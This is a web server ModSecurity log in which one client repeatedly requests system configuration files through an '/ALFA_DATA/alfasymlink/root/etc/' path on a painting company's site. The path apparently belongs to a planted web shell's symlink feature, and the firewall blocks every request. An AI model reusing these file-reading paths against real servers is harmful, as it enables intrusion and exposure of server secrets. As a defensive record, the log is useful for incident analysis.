[Sun Oct 25 14:29:37.680983 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/autoindex.conf"] [unique_id "at5Kkb3kuBsxLRbAfYmohgAAAA4"]
[Sun Oct 25 14:29:37.729566 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_systemd.conf"] [unique_id "at5KkbmAKu18kw3DYL-PKAAAAA8"]
[Sun Oct 25 14:29:37.729889 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_systemd.conf"] [unique_id "at5KkbmAKu18kw3DYL-PKAAAAA8"]
[Sun Oct 25 14:29:37.730204 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_systemd.conf"] [unique_id "at5KkbmAKu18kw3DYL-PKAAAAA8"]
[Sun Oct 25 14:29:37.759222 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52255] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/NetworkManager/NetworkManager.conf"] [unique_id "at5KkSpTNKVnE1oMPCDtEAAAAAA"]
[Sun Oct 25 14:29:37.759575 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52255] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/NetworkManager/NetworkManager.conf"] [unique_id "at5KkSpTNKVnE1oMPCDtEAAAAAA"]
[Sun Oct 25 14:29:37.759972 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52255] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/NetworkManager/NetworkManager.conf"] [unique_id "at5KkSpTNKVnE1oMPCDtEAAAAAA"]
[Sun Oct 25 14:29:38.018306 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52304] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/X11/xorg.conf.d/00-keyboard.conf"] [unique_id "at5KkrmAKu18kw3DYL-PKgAAAA8"]
[Sun Oct 25 14:29:38.018619 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/X11/xorg.conf.d/00-keyboard.conf"] [unique_id "at5KkrmAKu18kw3DYL-PKgAAAA8"]
[Sun Oct 25 14:29:38.018906 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/X11/xorg.conf.d/00-keyboard.conf"] [unique_id "at5KkrmAKu18kw3DYL-PKgAAAA8"]
[Sun Oct 25 14:29:38.022709 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52305] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/015_mod_actions.conf"] [unique_id "at5KkpKSFHHoiviJa5dqggAAAAo"]
[Sun Oct 25 14:29:38.022939 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52305] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/015_mod_actions.conf"] [unique_id "at5KkpKSFHHoiviJa5dqggAAAAo"]
[Sun Oct 25 14:29:38.023213 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52305] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/015_mod_actions.conf"] [unique_id "at5KkpKSFHHoiviJa5dqggAAAAo"]
[Sun Oct 25 14:29:38.048765 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52312] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/005_mod_cgi.conf"] [unique_id "at5KkiEQblycZeXKbm74igAAAAU"]
[Sun Oct 25 14:29:38.049172 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/005_mod_cgi.conf"] [unique_id "at5KkiEQblycZeXKbm74igAAAAU"]
[Sun Oct 25 14:29:38.049419 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/005_mod_cgi.conf"] [unique_id "at5KkiEQblycZeXKbm74igAAAAU"]
[Sun Oct 25 14:29:38.054513 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52309] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_mpm_prefork.conf"] [unique_id "at5Kkr6D6j04LiS6yScWLQAAAAI"]
[Sun Oct 25 14:29:38.054738 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52309] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_mpm_prefork.conf"] [unique_id "at5Kkr6D6j04LiS6yScWLQAAAAI"]
[Sun Oct 25 14:29:38.054987 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52309] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_mpm_prefork.conf"] [unique_id "at5Kkr6D6j04LiS6yScWLQAAAAI"]
[Sun Oct 25 14:29:38.198656 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52318] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/mailman.conf"] [unique_id "at5KkoptOg7YDpX4xSOWrgAAABA"]
[Sun Oct 25 14:29:38.198962 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/mailman.conf"] [unique_id "at5KkoptOg7YDpX4xSOWrgAAABA"]
[Sun Oct 25 14:29:38.199202 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/mailman.conf"] [unique_id "at5KkoptOg7YDpX4xSOWrgAAABA"]
[Sun Oct 25 14:29:38.225362 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52323] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/020_mod_alias.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNUAAAAAE"]
[Sun Oct 25 14:29:38.225787 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52323] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/020_mod_alias.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNUAAAAAE"]
[Sun Oct 25 14:29:38.226108 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52323] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/020_mod_alias.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNUAAAAAE"]
[Sun Oct 25 14:29:38.282785 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52358] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/php_add_handler_fix.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmoigAAAA4"]
[Sun Oct 25 14:29:38.283020 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/php_add_handler_fix.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmoigAAAA4"]
[Sun Oct 25 14:29:38.283266 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/php_add_handler_fix.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmoigAAAA4"]
[Sun Oct 25 14:29:38.303830 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52367] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/cperror.conf"] [unique_id "at5KkpKSFHHoiviJa5dqhAAAAAo"]
[Sun Oct 25 14:29:38.304063 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52367] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/cperror.conf"] [unique_id "at5KkpKSFHHoiviJa5dqhAAAAAo"]
